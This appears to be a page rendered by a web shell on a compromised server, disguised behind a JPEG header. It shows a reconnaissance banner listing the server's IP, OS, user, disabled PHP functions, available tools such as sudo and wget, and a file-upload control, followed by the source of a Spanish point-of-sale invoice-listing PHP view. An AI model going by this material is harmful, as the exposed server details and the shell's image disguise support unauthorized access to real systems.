����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.15.148.76 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/view/ |
Upload File : |
<?php date_default_timezone_set("America/Mexico_City");?> <form id="form1" action="blabla.php" method="post"> <section class="content"> <div class="row"> <div class="col-md-12"> <?php if(isset($_SESSION["client_id"])):?> <h1><i class='glyphicon glyphicon-shopping-cart'></i> Mis Compras</h1> <?php else:?> <div class="btn-group pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-download"></i> Descargar <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu"> <li><a href="report/sells-word.php">Word 2007 (.docx)</a></li> <li><a href="report/sells-xlsx.php">Excel 2007 (.xlsx)</a></li> <li><a onclick="thePDF()" id="makepdf" class="">PDF (.pdf)</a></li> </ul> </div> <h1><i class='glyphicon glyphicon-shopping-cart'></i> Mis Facturas </h1> <?php endif;?> <div class="clearfix"></div> <?php $products = null; if(isset($_SESSION["user_id"])){ if(Core::$user->kind==3){ $products = SellData::getSellsByUS(Core::$user->id); } else if(Core::$user->kind==2){ $products = SellData::getSellsByStockId(Core::$user->stock_id); } else{ $fecha = date('Y-m-d h:i:s'); $fechaAtras = strtotime ( '-1 day' , strtotime ( $fecha ) ) ; $fechaAtras = date ( 'Y-m-d ' , $fechaAtras ); $fechaActual = date("Y-m-d h:i:s",time()); $products = FacturaData::getSells(); } }else if(isset($_SESSION["client_id"])){ $products = SellData::getSellsByPersonId($_SESSION["client_id"],1,1); } if(count($products)>0){ ?> <br> <div class="box box-primary"> <div class="box-header"> <h3 class="box-title"> Detalle De las Ultimas Ventas</h3></div> <div class="box-body"> <table class="table table-bordered table-hover table-responsive datatable"> <thead> <th></th> <th>#</th> <th>Folio</th> <th>Total</th> <th>Impuestos</th> <th>SubTotal</th> <th>Cliente</th> <th>UUID</th> <th>Status</th> <th>Fecha</th> <th></th> </thead> <?php foreach($products as $sell): $operations = OperationData::getAllProductsBySellId($sell->id); $total= $sell->price_out*1.16; ?> <tr> <td style="width:30px;"> <a href="index.php?view=oneFac&id=<?php echo $sell->sale_id; ?>" class="btn btn-xs btn-success"><i class="glyphicon glyphicon-file"></i></a></td> <td>#<?php echo $sell->id; ?></td> <td><?php echo $sell->sale_id; ?></td> <td><b><?php echo number_format($total ,2,".",","); ?></b></td> <td><?php echo number_format($sell->price_out-$total ,2,".",","); ?></td> <td style="width:90px;"> <?php echo "$ ".number_format($sell->price_out,2,".",",")." "; ?> </td> <td> <?php echo $sell->presentation?> </td> <td> <?php echo $sell->name; ?> </td> <?php if($sell->is_service>0): ?> <td> Generada </td> <?php else:?> <td> Cancelada </td> <?php endif;?> <td><?php echo $sell->created_at; ?></td> <td style="width:30px;"> <?php if(Core::$user->kind==1):?> <?php if($sell->is_service>0): ?> <td style="width:40px;"><a href="#" id="oper-<?php echo $sell->id; ?>" class="btn tip btn-xs btn-danger" title="Eliminar"><i class="glyphicon glyphicon-trash"></i></a> </td> <script> $("#oper-"+<?php echo $sell->id; ?>).click(function(){ x = confirm("Estas seguro que quieres eliminar la factura, este proceso no se puede restablecer??"); if(x==true){ window.location = "index.php?view=cancela_factura&id=<?php echo $sell->id; ?>"; } }); </script> <?php else:?> <td> </td> <?php endif;?> <?php endif;?> </td> </tr> <?php endforeach; ?> </table> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> </div> </div> <div class="clearfix"></div> <?php }else{ ?> <div class="jumbotron"> <h2>No hay ventas facturadas</h2> <p>No se ha realizado ninguna venta.</p> </div> <?php } ?> </div> </div> </section> </form> <script type="text/javascript"> function thePDF() { var doc = new jsPDF('p', 'pt'); doc.setFontSize(26); doc.text("<?php echo ConfigurationData::getByPreffix("company_name")->val;?>", 40, 65); doc.setFontSize(18); doc.text("VENTAS", 40, 80); doc.setFontSize(12); doc.text("Usuario: <?php echo Core::$user->name." ".Core::$user->lastname; ?> - Fecha: <?php echo date("d-m-Y h:i:s");?> ", 40, 90); var columns = [ {title: "Id", dataKey: "id"}, {title: "Cliente", dataKey: "client"}, {title: "Total", dataKey: "total"}, {title: "Estado de pago", dataKey: "p"}, {title: "Estado de entrega", dataKey: "d"}, {title: "Almacen", dataKey: "stock"}, {title: "Fecha", dataKey: "created_at"}, ]; var rows = [ <?php foreach($products as $sell): ?> { "id": "<?php echo $sell->id; ?>", "client": "<?php if($sell->person_id!=null){$c= $sell->getPerson();echo $c->name." ".$c->lastname;} ?>", "total": "<?php $total= $sell->total-$sell->discount; echo "$ ".number_format($total,2,".",","); ?> ", "p": "<?php echo $sell->getP()->name; ?>", "d": "<?php echo $sell->getD()->name; ?>", "stock": "<?php echo $sell->getStockTo()->name; ?>", "created_at": "<?php echo $sell->created_at; ?>", }, <?php endforeach; ?> ]; doc.autoTable(columns, rows, { theme: 'grid', overflow:'linebreak', styles: { fillColor: <?php echo Core::$pdf_table_fillcolor;?> }, columnStyles: { id: {fillColor: <?php echo Core::$pdf_table_column_fillcolor;?>} }, margin: {top: 100}, afterPageContent: function(data) { } }); doc.setFontSize(12); doc.text("<?php echo Core::$pdf_footer;?>", 40, doc.autoTableEndPosY()+25); <?php $con = ConfigurationData::getByPreffix("report_image"); if($con!=null && $con->val!=""): ?> var img = new Image(); img.src= "storage/configuration/<?php echo $con->val;?>"; img.onload = function(){ doc.addImage(img, 'PNG', 495, 20, 60, 60,'mon'); doc.save('sells-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf'); } <?php else:?> doc.save('sells-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf'); <?php endif; ?> } </script>